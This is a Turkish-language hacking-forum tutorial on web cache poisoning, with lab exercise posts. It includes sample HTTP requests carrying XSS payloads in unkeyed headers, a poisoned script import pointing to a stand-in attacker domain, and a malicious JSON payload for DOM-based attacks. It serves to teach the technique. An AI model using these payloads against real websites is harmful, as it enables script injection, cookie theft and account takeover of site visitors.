Exploiting Cache Design Flaws | Önbellek Tasarım Açıklarını Sömürme

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,199
674
Bu konuda, önbellek tasarımındaki genel güvenlik açıkları nedeniyle 'web cache poisoning' (önbellek zehirlenmesi) açıklarının nasıl ortaya çıkabileceğine daha yakından bakacağız. Ayrıca bunlardan nasıl yararlanılabileceğinizi de göstereceğiz. Her terimi %100 Türkçe'ye çeviremeyiz, bazı bilmeniz gerekenleri ilk seferlerine mahsus parantez içerisinde Türkçe en yakın anlamlarını vereceğim. Konunun sonunda da açıklama hissiyatı duyduğum terimleri ve anlamlarını bulabilirsiniz.

Web siteleri, anahtarsız girişi (unkeyed input) güvenli olmayan şekilde işlemeleri ve HTTP yanıtlarının önbelleğe alınmasına izin vermeleri durumunda web cache poisoning'e karşı savunmasızdır. Bu güvenlik açığı farklı farklı saldırılar için bir dağıtım yöntemi olarak kullanılabilir.

lz1itti.png


XSS saldırısı gerçekleştirmek için önbellek zehirlenmesini kullanma

Belki de sömürülebilecek en basit önbellek zehirlenmesi açığı, anahtarsız girişin düzgün bir şekilde önlem alınmadığı durumda önbelleğe alınabilir bir respons'a yansıtılmasıdır.

Örneğin:

HTTP:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

Burada 'X-Forwarded-Host' header'ının değeri, sonrasında respons'a yansıtılacak olan dinamik olarak oluşturulan Open Graph
resim URL'si oluşturmak için kullanılıyor. 'X-Forwarded-Host' header'ının da genellikle anahtarsız olması önbellek zehirlenmesi açısından kritik öneme sahiptir. Bu örnekte önbelleğin, basit bir XSS verisi içeren bir response ile zehirlenebilmesi muhtemeldir:

HTTP:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />

Bu yanıt önbelleğe alınmışsa, /en?region=uk adresine erişen tüm kullanıcılara bu XSS payload sunulacaktır. Bu örnek yalnızca kurbanın tarayıcısında bir uyarının görünmesine neden olur ancak gerçek bir saldırı senaryosunda şifreler çalınabilir ve kullanıcı hesapları ele geçirilebilir.

Kaynak import etme işlemlerinden yararlanmak için önbellek zehirlenmesini kullanma

Bazı web siteleri, harici olarak barındırılan misal JavaScript dosyaları gibi kaynakları içe aktarmak için dinamik olarak URL'lar oluşturmak amacıyla 'unkeyed headers' (anahtarsız başlıklar) kullanırlar. Bu durumda bir saldırgan; kontrol ettiği bir alan adına uygun header'ın değerini değiştirirse, URL'ı kendi zararlı JavaScript dosyasına işaret edecek şekilde manipüle edebilir.

Bu zararlı URL'ı içeren response (yanıt) önbelleğe alınırsa, JavaScript dosyası içe aktarılır ve isteği eşleşen bir önbellek anahtarına sahip olan kullanıcının oturumunda çalıştırılır.

HTTP:
GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0

HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>

Cookie-Handling açıklarından yararlanmak için web cache poisoningi kullanma

Çerezler (cookies) genellikle bir respons'ta dinamik olarak içerik oluşturmak için kullanılır. Kullanıcının tercih ettiği dili belirten ve daha sonra sayfanın ilgili sürümünü yüklemek için kullanılan bir çerezi örnek olarak verebiliriz:

HTTP:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: language=pl;
Connection: close

Bu örnekte, bir blog yazısının
Lehçe versiyonu istenmektedir. Hangi dil sürümünün sunulacağına ilişkin bilginin yalnızca çerez header'ında yer aldığına dikkat edin. Önbellek anahtarının, istek satırını ve host headerını içerdiğini ancak cookie headerını içermediğini varsayalım. Bu durumda; bu isteğe verilen yanıt önbelleğe alınırsa, bu blog gönderisine erişmeye çalışan sonraki tüm kullanıcılar hangi dili seçtiklerine bakılmaksızın Lehçe sürümünü de alacaktır.

Çerezlerin önbellek tarafından hatalı işlenmesi, önbellek zehirleme teknikleri kullanılarak da sömürülebilir. Ancak pratikte bu durum header tabanlı önbellek zehirlenmesine kıyasla nispeten daha nadirdir. Çerez tabanlı önbellek zehirlenmesi açıkları (cookie-based cache poisoning vulnerabilities) mevcut olduğunda, kullanıcılar yanlışlıkla önbelleği zehirlediğinden dolayı bunlar hızlı bir şekilde tanımlanıp çözülme eğilimindedir.


Önbellek Zehirlenmesi açıklarını sömürmek için Çoklu Header'lar kullanma

Yukarıda da örneğini verdiğimiz üzere bazı web siteleri basit önbellek zehirlenmesi açıklarına sahiptir. Ancak bazı web siteleri de çok daha karmaşık saldırılar yapmayı gerektirir ve anca saldırgan çoklu anahtarsız girişleri kullanan isteği işleyerek zararlara açık hale gelir.

Örneğin diyelim ki bir websitesi güvenli iletişim için HTTPS kullanıyor. Eğer başka bir protokol kullanan bir request alınırsa, web sitesi dinamik olarak kendisine HTTPS kullanan bir yönlendirme yapar.

HTTP:
GET /random HTTP/1.1
Host: innocent-site.com
X-Forwarded-Proto: http

HTTP/1.1 301 moved permanently
Location: https://innocent-site.com/random

Bu durum her zaman bir güvenlik açığı oluşturmaz. Ancak konuda daha önceden bahsettiğim dinamik olarak oluşturulan URL'lar ile ilgili güvenlik açıklarıyla birlikte bunları kombine ederseniz kullanıcıları zararlı bir URL'a yönlendiren cache'lenebilir bir response üretilebilir.

Çok fazla bilgiyi açığa çıkaran responseları kullanma

Bazen web siteleri response'larında çok fazla bilgi veriyor ve bu durum onları önbellek zehirlenmesine karşı daha savunmasız hale getiriyor.

Cache-Control Directives

Önbellek zehirlenmesi saldırısı gerçekleştirirken karşılaşabileceğiniz zorluklardan biri de zararlı response'un önbelleğe alındığından emin olmaktır. Önbelleğin nasıl tepki vereceğini anlamak için çok fazla manuel denemeler yapılabilir ancak bazen response'lar saldırganın önbellek zehirlenmesi saldırısını başarıyla gerçekleştirmesi için gereken bilgileri açığa çıkarabilir.

Mesela bir response önbelleğin ne sıklıkla temizlendiğin veya şu anki önbelleğin ne kadar önce alındığının bilgisini veriyorsa:

HTTP:
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800

Bu doğrudan önbellek zehirlenmesi açıklarının oluşmasına yol açmasa da saldırganı manuel olarak yapacağı işlerden kurtarır çünkü bu bilgi elinde olduğunda adam ne zaman payload'unu göndereceğini bilir ve önbelleğe alınacağını garantilemiş olur. :)


Ayrıca bu bilgiler çok daha kurnazca saldırıların oluşmasına neden olabilir. Yani şüphe çekecek seviyede sunucuya paso istek göndermek yerine tek bir kötü niyetli istekle işini halledebilir.

Vary header


Bu 'Vary' header'ının genellikle kullanılan temel yöntemi ise saldırgana yardımcı olabilir. Çünkü 'Vary' header'ları normalde anahtarsız bile olsalar önbellek anahtarının bir parçası olarak görülen ek header'ların bir listesini belirtir. Genellikle 'User-Agent' header'ının anahtarlandığını (unkeyed anahtarsız - keyed anahtarlı) belirtmek için kullanılır. Örneğin web sitenin mobil versiyonu önbelleğe alınmışsa mobil olmayan kullanıcılara yanlışlıkla sitenin mobil sürümünün sunulması gibi bir olay olmaz.

Bu bilgi aynı zamanda spesifik bir kullanıcı kesimini hedef alarak çoklu kompleks saldırılar gerçekleştirmek için de kullanılabilir. Örneğin istenilen kurbanların user agent'larını tespit ederek saldırgan bu bahsettiğimiz 'User-Agent' headerının önbellek anahtarının (cache key) bir parçası olduğunu öğrenirse; saldırgan, gerçekleştirdiği saldırıyı özelleştirebilir ve kullanıcıların yalnızca istediği bir kısmının bu saldırıdan etkilenmesini ayarlayabilir. Bir diğer seçenek ise aynı mantıkta o site üzerinde en çok kullanılan user agent bilgisi ile saldırısını ayarlayıp tek hamlede yapabildiği en büyük saldırıyı da çıkartabilir.


DOM tabanlı açıkları sömürmek için Önbellek Zehirlenmesi'ni kullanma

Daha önce de tartıştığımız gibi eğer site dosyaları import etmek için anahtarsız header'lar kullanıyorsa, bu durum saldırganın zararlı dosyayı import etmesine olanak sağlayabilir. Ancak bu JavaScript dosyalarına özgü bir şey değil.

Birçok site back-end kısmından ek verileri yakalamak ve işlemek için JavaScripti kullanıyor. Eğer kodda veriler sunucudan güvenli olarak işlenmiyorsa, bu durum binbir türlü DOM tabanlı açığın oluşmasına yol açabilir.

Dolayısıyla saldırgan, bir response ile aşağıdaki payload'u içeren bir JSON dosyası import edebilir:

JSON:
{"someProperty" : "<svg onload=alert(1)>"}

Eğer web sitesi bu özelliğin değerini dinamik kod yürütme işlevine sahip bir yere iletiyorsa, saldırganın kodunun kurbanın tarayıcı oturumunda yürütülmesine neden olabilir. Eğer önbellek zehirlenmesi kullanarak bir web sitesinin zararlı JSON verilerini kendi sunucunuzdan yüklemesini sağlıyorsanız, web sitesine CORS kullanarak JSON'a erişim sağlamak için izin vermeniz gerekebilir.

HTTP:
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *

{
    "malicious json" : "malicious json"
}

Zincirleme Önbellek Zehirlenmesi açıkları

Bazen saldırgan kötü niyetli bir response elde etmek için birden fazla header kullanarak bir request (istek) oluşturabilir. Ancak bu durum farklı türde saldırılar için de geçerlidir. Önbellek zehirlenmesi, saldırganın genellikle konuda bahsettiğimiz teknikleri bir araya getirerek kullanmasını gerektirebilir. Farklı açıkları zincirleme olarak birleştirerek yani karma bir şekilde kullanarak saldırının etkisi çok daha artar ve başlangıçta faydalanılamayan güvenlik açıklarından yararlanılabilir.

NOTLAR:

*web cache poisoning: Önbellek zehirlenmesi, geçersiz girişlerin bir önbelleğe yerleştirilebildiği ve daha sonra kullanıldığında geçerli olduğu varsayılan bir bilgisayar güvenlik açığı anlamına gelir. İki yaygın çeşit, DNS önbellek zehirlenmesi ve ARP önbellek zehirlenmesidir.
*unkeyed input: önbelleğin yok saydığı isteklerin bir parçasıdır. Örneğin, kullanıcının kullandığı tarayıcı türü. Saldırganlar, veriyi enjekte etmek için anahtarsız girişleri kullanabilir ve "zehirli" bir yanıt ortaya çıkarabilir; bu yanıt, önbelleğe alınırsa, istekleri eşleşen önbellek keyine sahip olan tüm kullanıcılara sunulabilir.
*response: Request And Response (İstek Ve Yanıt) Temel yöntemlerden biridir bilgisayarların bir birbirleriyle iletişim kurmak için kullandıkları ağı ilk bilgisayar gönderir. İstek bazıları için veri ve ikinci cevaplarından istegine. Daha spesifik olarak, bir yanıtlayıcı sistemine bir istek mesajı gönderdigi isteği alan ve işleyen ve sonuçta yanıt olarak bir mesaj döndürdügü bir mesaj degişim modelidir.
*header: Bilgi teknolojisinde başlık, depolanan veya iletilen bir veri bloğunun başına yerleştirilen ek verileri ifade eder. Veri iletiminde, başlığı takip eden verilere bazen yük veya gövde denir. Ayrıştırmaya izin vermek için başlık bileşiminin açık ve net bir belirtimi veya biçimi izlemesi çok önemlidir.
*Open Grahp: Facebook, 2010 yılında uygulama içinde web sitelerinin paylaşımını kolaylaştırmak için Open Graph meta etiketlerini sundu. Temelde Open Graph Protokolü Facebook’un bir parçası olsa da, LinkedIn ve Twitter da kullanıcı deneyimini iyileştirmek adına bu etiketleri benimsedi. Günümüzde birçok sosyal medya platformu tarafından da aktif olarak kullanılır.
*payload: Bilgi işlem ve telekomünikasyonda, payload, iletilen verilerde gerçek istenilen mesajın parçasıdır. Payload, yalnızca yük taşıma işlemini kolaylaştırmak için gönderilen herhangi bir üstbilgi veya meta veriyi hariç tutmaktadır.
*import: ithal etmek, dışalım yapmak, bir bilgisayardan/programdan başka bir bilgisayara bilgiyi kopyalamak/aktarmak
*JavaScript: JavaScript, HTML ve CSS ile birlikte World Wide Web'in temel teknolojilerinden biri olan programlama dilidir. Web sitelerinin %97'sinden fazlası, web sayfası hareketleri için istemci tarafında JavaScript kullanırlar ve kullanılan kodlar genellikle üçüncü taraf kitaplıkları içerir.
*Cache-Control Directives: Önbelleğe alma için kullanılan birincil HTTP üst bilgisi, önbellek yönergelerini belirtmek için kullanılan Cache-Control'dür.
*Vary-Header: Vary üstbilgisi, bir isteğin aynı öğe için olup olmadığına karar verirken önbelleklere ek bir üstbilgiye dikkat etmelerini bildirmek için kullanılabilir.
*CORS: Cross-Origin Resource Sharing, bir web sayfası üzerindeki bazı kaynakların, kaynağın sunulduğu alan adının dışındaki bir alan adından istenebilmesine izin veren bir mekanizmadır. Bir web sayfası, özgürce kökler arası resimleri, stil sayfalarını, betikleri ve videoları ekleyebilmektedir.
 

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,199
674
Lab: Anahtarsız Çerez(cookie) ile Web Cache Poisoning

Bu labte de yine web cache poisoninge karşı açıklı çünkü çerezler önbellek keyine dahil edilmez. Bu labi çözmek için response olarak kurbanın tarayıcısında alert(1) verecek şekilde önbelleği zehirleyin.

TIKLA
 
Son düzenleme:

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,199
674

Lab: Anahtarsız(Unkeyed) Header ile Web cache poisoning​

Bu lab web cache poisoning açığı içeriyor çünkü anahtarsız headerlardan gelen verilerin işlenişi güvenli değil. Bu labi çözmek için önbelleği zehirleyin ve response olarak kurbanın tarayıcısında alert(document.cookie) yi çalıştırın. Ayrıca bu lab X-Forwarded-Host Headerını da desteklemekte.

Not: Proxy sunucular X-Forwarded-For HTTP başlığını, web isteğini yapan istemciye ait gerçek IP adresinin hedef sunucuya iletmek için kullanmaktadırlar. Bu başlık RFC'lerde geçen bir standart olmamasına rağmen, genel kabul görmüş bir standarttır.

TIKLA
 
Son düzenleme:

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,199
674

Lab: Çoklu Headerlar ile Web Cache Poisoning​


Bu lab yalnızca kötü niyetli bir requesti oluşturmak için birden fazla header kullanıldığında sömürülebilen bir web önbellek zehirleme açığı içerir. Bir kullanıcı ana sayfayı yaklaşık olarak dakikada bir kez ziyaret ediyor. Bu labi çözmek için önbelleği zehirleyin ve kullanıcının tarayıcısında response olarak alert(document.cookie) komutunu çalıştırmayı başarın

Taktik​

Bu lab X-Forwarded-Host ve X-Forwarded-Scheme headerlarını desteklemekte.

LAB
 
Son düzenleme:

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,199
674

Lab: Bilinmeyen Header kullanarak Hedef Belirleyerek Web Cache Poisoning​


Bu labte yine web cache poisoning açığı mevcut. Kurbanımız yolladığımız herhangi bir yorumu görüntüleyecek. Bu labi çözmek için kurbanın tarayıcısında response olarak alert(document.cookie) komutunu çalıştıracak şekilde önbelleği zehirlememiz gerekli. Ancak aynı zamanda responsun kurbanımızın da ait olduğu belirli bir kullanıcı kümesine göre olduğundan emin olmamız gerekli.

TIKLA
 
Son düzenleme:

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,199
674

Lab: Katı Cachlenebilirlik(Önbelleğe alınabilirlik) Kriterlerine sahip bir önbellek aracılığıyla DOM zafiyetinden yararlanmaya yönelik Web cache poisoning​

Bu lab, web cache poisoning saldırısının bir parçası olarak sömürülebilecek bir DOM tabanlı zafiyeti içeriyor. Bir kullanıcı ana sayfayı yaklaşık olarak her dakikada 1 kez ziyaret ediyor. Bu labte kullanılan önbelleğin, önbelleğe alınacak şeyleri seçmek için daha sıkı kriterlere sahip olduğunu unutmamak lazım. Bu yüzden bu labi detaylı inceleyin. Labi çözmek için kurbanın tarayıcısında alert(document.cookie) çalıştıracak bir response üretecek şekilde önbelleği zehirleyin.

TIKLA
 

Gauloran

Moderasyon Ekibi Lideri
7 Tem 2013
8,199
674
Lab: Web cache poisoning tekniklerini kombine etmek

Bu lab web cache poisoning açığına sahiptir ama sadece saldırı tekniklerini kombine ederseniz bu açığı sömürmek mümkün olur.

Bir kullanıcı yaklaşık olarak her dakikada 1 kez ana sayfayı ziyaret eder ve dil ayarları İngilizce olarak seçilmiş. Bu labi çözmek için, kullanıcının tarayıcısında alert(document.cookie) çalıştıran bir response üretecek şekilde önbelleği zehirleyin.

TIKLA
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.